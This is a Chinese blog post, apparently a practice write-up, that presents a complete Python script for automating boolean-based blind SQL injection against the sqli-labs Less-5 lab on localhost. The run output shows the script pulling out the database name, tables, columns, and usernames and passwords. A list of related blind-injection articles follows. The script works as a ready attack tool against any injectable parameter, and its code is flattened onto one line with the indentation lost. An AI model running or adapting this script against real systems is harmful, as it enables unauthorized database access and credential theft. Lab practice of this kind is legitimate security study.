好久没写python了,就想着写个简单的练练手,写个布尔型盲注自动化脚本,参考sqli-labs里面的盲注漏洞进行的脚本编写。


因为写这个脚本时Python水平有限,现在也懒得改。当时就是写着玩,望师傅们不喜勿喷

末初 2021/04/30


脚本运行时间:6分半左右

bool_sqlblind.py

# -*- coding:utf-8 -*-
# Author: mochu7
import requestsdef ascii_str():#生成库名表名字符所在的字符列表字典str_list=[]for i in range(33,127):#所有可显示字符str_list.append(chr(i))#print('可显示字符:%s'%str_list)return str_list#返回字符列表def db_length(url,str):print("[-]开始测试数据库名长度.......")num=1while True:db_payload=url+"' and (length(database())=%d)--+"%numr=requests.get(db_payload)if str in r.text:db_length=numprint("[+]数据库长度:%d\n"%db_length)db_name(db_length)#进行下一步,测试库名breakelse:num += 1def db_name(db_length):print("[-]开始测试数据库名.......")db_name=''str_list=ascii_str()for i in range(1,db_length+1):for j in str_list:db_payload=url+"' and (ord(mid(database(),%d,1))='%s')--+"%(i,ord(j))r=requests.get(db_payload)if str in r.text:db_name+=jbreakprint("[+]数据库名:%s\n"%db_name)tb_piece(db_name)#进行下一步,测试security数据库有几张表return db_namedef tb_piece(db_name):print("开始测试%s数据库有几张表........"%db_name)for i in range(100):#猜解库中有多少张表,合理范围即可tb_payload=url+"' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+"%(i,db_name)r=requests.get(tb_payload)if str in r.text:tb_piece=ibreakprint("[+]%s库一共有%d张表\n"%(db_name,tb_piece))tb_name(db_name,tb_piece)#进行下一步,猜解表名def tb_name(db_name,tb_piece):print("[-]开始猜解表名.......")table_list=[]for i in range(tb_piece):str_list=ascii_str()tb_length=0tb_name=''for j in range(1,20):#表名长度,合理范围即可tb_payload=url+"' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+"%(i,j)r=requests.get(tb_payload)if str in r.text:tb_length=jprint("第%d张表名长度:%s"%(i+1,tb_length))for k in range(1,tb_length+1):#根据表名长度进行截取对比for l in str_list:tb_payload=url+"' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+"%(i,k,ord(l))r=requests.get(tb_payload)if str in r.text:tb_name+=lprint("[+]:%s"%tb_name)table_list.append(tb_name)breakprint("\n[+]%s库下的%s张表:%s\n"%(db_name,tb_piece,table_list))column_num(table_list,db_name)#进行下一步,猜解每张表的字段数def column_num(table_list,db_name):print("[-]开始猜解每张表的字段数:.......")column_num_list=[]for i in table_list:for j in range(30):#每张表的字段数量,合理范围即可column_payload=url+"' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+"%(j,i)r=requests.get(column_payload)if str in r.text:column_num=jcolumn_num_list.append(column_num)#把所有表的字段,依次放入这个列表当中print("[+]%s表\t%s个字段"%(i,column_num))breakprint("\n[+]表对应的字段数:%s\n"%column_num_list)column_name(table_list,column_num_list,db_name)#进行下一步,猜解每张表的字段名def column_name(table_list,column_num_list,db_name):print("[-]开始猜解每张表的字段名.......")column_length=[]str_list=ascii_str()column_name_list=[]for t in range(len(table_list)):#t在这里代表每张表的列表索引位置print("\n[+]%s表的字段:"%table_list[t])for i in range(column_num_list[t]):#i表示每张表的字段数量column_name=''for j in range(1,21):#j表示每个字段的长度column_name_length=url+"' and %d=(select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)--+"%(j-1,table_list[t],i)r=requests.get(column_name_length)if str in r.text:column_length.append(j)breakfor k in str_list:#k表示我们猜解的字符字典column_payload=url+"' and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+"%(table_list[t],i,j,ord(k))r=requests.get(column_payload)if str in r.text:column_name+=kprint('[+]:%s'%column_name)column_name_list.append(column_name)#print(column_name_list)#输出所有表中的字段名到一个列表中dump_data(table_list,column_name_list,db_name)#进行最后一步,输出指定字段的数据def dump_data(table_list,column_name_list,db_name):print("\n[-]对%s表的%s字段进行爆破.......\n"%(table_list[3],column_name_list[9:12]))str_list=ascii_str()for i in column_name_list[9:12]:#id,username,password字段for j in range(101):#j表示有多少条数据,合理范围即可data_num_payload=url+"' and (select count(%s) from %s.%s)=%d--+"%(i,db_name,table_list[3],j)r=requests.get(data_num_payload)if str in r.text:data_num=jbreakprint("\n[+]%s表中的%s字段有以下%s条数据:"%(table_list[3],i,data_num))for k in range(data_num):data_len=0dump_data=''for l in range(1,21):#l表示每条数据的长度,合理范围即可data_len_payload=url+"' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+"%(i,db_name,table_list[3],k,l)r=requests.get(data_len_payload)if str not in r.text:data_len=l-1for x in range(1,data_len+1):#x表示每条数据的实际范围,作为mid截取的范围for y in str_list:data_payload=url+"' and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+"%(i,db_name,table_list[3],k,x,ord(y))r=requests.get(data_payload)if str in r.text:dump_data+=ybreakbreakprint('[+]%s'%dump_data)#输出每条数据if __name__ == '__main__':url="http://127.0.0.1/sqli-labs/Less-5/?id=1"#目标urlstr="You are in"#布尔型盲注的true&false的判断因素db_length(url,str)#程序入口

运行结果

PS C:\Users\Administrator\Desktop> python3 .\bool_sqlblind.py                                                                                                                                                                                [-]开始测试数据库名长度.......
[+]数据库长度:8[-]开始测试数据库名.......
[+]数据库名:security开始测试security数据库有几张表........
[+]security库一共有4张表[-]开始猜解表名.......
第1张表名长度:6
[+]:emails
第2张表名长度:8
[+]:referers
第3张表名长度:7
[+]:uagents
第4张表名长度:5
[+]:users[+]security库下的4张表:['emails', 'referers', 'uagents', 'users'][-]开始猜解每张表的字段数:.......
[+]emails表     2个字段
[+]referers表   3个字段
[+]uagents表    4个字段
[+]users表      7个字段[+]表对应的字段数:[2, 3, 4, 7][-]开始猜解每张表的字段名.......[+]emails表的字段:
[+]:id
[+]:email_id[+]referers表的字段:
[+]:id
[+]:referer
[+]:ip_address[+]uagents表的字段:
[+]:id
[+]:uagent
[+]:ip_address
[+]:username[+]users表的字段:
[+]:id
[+]:username
[+]:password
[+]:level
[+]:id
[+]:username
[+]:password[-]对users表的['id', 'username', 'password']字段进行爆破.......[+]users表中的id字段有以下13条数据:
[+]1
[+]2
[+]3
[+]4
[+]5
[+]6
[+]7
[+]8
[+]9
[+]10
[+]11
[+]12
[+]14[+]users表中的username字段有以下13条数据:
[+]Dumb
[+]Angelina
[+]Dummy
[+]secure
[+]stupid
[+]superman
[+]batman
[+]admin
[+]admin1
[+]admin2
[+]admin3
[+]dhakkan
[+]admin4[+]users表中的password字段有以下13条数据:
[+]Dumb
[+]I-kill-you
[+]p@ssword
[+]crappy
[+]stupidity
[+]genious
[+]mob!le
[+]admin
[+]admin1
[+]admin2
[+]admin3
[+]dumbo
[+]admin4
PS C:\Users\Administrator\Desktop>

如果觉得有什么写的不好的,欢迎大佬们指出,一起交流学习

布尔型盲注Python脚本相关推荐

  1. mysql盲注_Mysql 布尔型盲注手工注入详解

    0x00 什么叫布尔型盲注 布尔型 布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值.一般也称为逻辑型. 盲注 在注入时页面无具体数据返回的注入称之为盲注, ...

  2. sqli中时间型盲注和布尔型盲注实现

    布尔型注入: 等待时间较长,但容易受网络波动影响,所以无法作为绝对判断条件. ②利用length语句判断数据库长度 http://127.0.0.1/sqli/Less-8/?id=1' and le ...

  3. SQL 注入漏洞(六)布尔型盲注

    一.代码分析 在页面中不会显示数据库信息,一般情况下只会显示对与错的内容. 接收 id 的值,直接带入查询,如果存在即返回 users is exists in the database,否则显示 u ...

  4. SQL注入之布尔型盲注

    什么是布尔判断SQL注入? "布尔判断"指的是利用SQL语句**逻辑与(and)**操作,判断and两边的条件是否成立,SQL语句带入输入库查询后判断返回内容(通常返回值仅有非空和 ...

  5. mysql 布尔型盲注,SQL注入之布尔型注入(MySQL)

    0x00 特点 当页面存在注入,但是没有显示位,且没有用echo "mysql_error()"输出错误信息时可以用, 它一次只能猜测一个字节,速度慢,但是只要存在注入就能用 0x ...

  6. web安全入门之SQL注入-时间型盲注

    SQL注入之时间型盲注 1.时间型盲注 时间型盲注条件极为苛刻,不管输入什么,WEB页面回显相同的结果,此时我们无法通过报错型注入以及布尔型盲注来爆数据,此时数据在交互完成以后目标网站没有正确和错误的 ...

  7. iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)

    系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的 ...

  8. python脚本自动化盲注_python dvwa布尔盲注自动化脚本(level=low)

    仅供学习代码参考 1#python dvwa布尔盲注自动化脚本 2 importrequests3 importstring4 importtime5 INIT_URL="http://12 ...

  9. SQL注入——基于布尔的盲注(八)

    本章目的 普及布尔盲注技术的运用场景及条件,熟悉length().substr().ascii()等函数的用法,掌握基于布尔的盲注基本流程.PS:面试回答主要为对错论 基本概念 盲注 在SQL注入过程 ...

最新文章

  1. vi使用技巧(转载)
  2. Asynchronous CDI Events
  3. 白话Elasticsearch04- 结构化搜索之使用terms query搜索多个值以及多值搜索结果优化
  4. 超详细!使用OpenCV深度学习模块在图像分类下的应用实践
  5. SQL 语句之insert语句插入数据:若表中有重复的主键或数据继续插入解决方案
  6. pyspark模块介绍
  7. php赋值给jq,jquery怎么给div赋值
  8. Keil升级了,Keil Studio 来了!
  9. Visual Studio 2017 针对移动开发的新特性介绍
  10. ECSHOP设置默认配送方式和默认支付方式
  11. 对广义表L=((a,b),(c,d),(e,f))执行操作tail(tail(L))的结果是 ()
  12. Mysql 的 排序分组优化
  13. 中国大学MOOC伦理学题库及答案
  14. 金蝶K3物料主数据计划策略字段设置
  15. Fences隐藏桌面图标快捷方式箭头
  16. SAP VK11 报错“条件不能创建在分销渠道 10 中”
  17. 【Unity编辑器扩展实践】、扩展Hierarchy菜单
  18. 手把手教你使用R语言做出SCI论文中的表二(单因素分析表)(2)
  19. 几个实用的app和网站
  20. Oracle使用纪要

热门文章

  1. css三大特性权重计算BFC(块级格式化上下文)盒子模型
  2. 西蒙:什么可以帮我们做出更明智的决策?
  3. 微信小程序地图导航集成(PHP)
  4. windows如何注册DLL文件
  5. 二手服务器做nas_用了3年群晖NAS之后,我的吐血总结!
  6. Docker容器中Data volumes详解
  7. 2年涨粉200?这是一个失败的公众号运营人的独白
  8. ESP32 (UART 接收发送)-串口之接收发送通讯(4)
  9. 四阶幻方c语言编程,C语言实例 求四阶的素数幻方
  10. 【单片机IO口四种模式】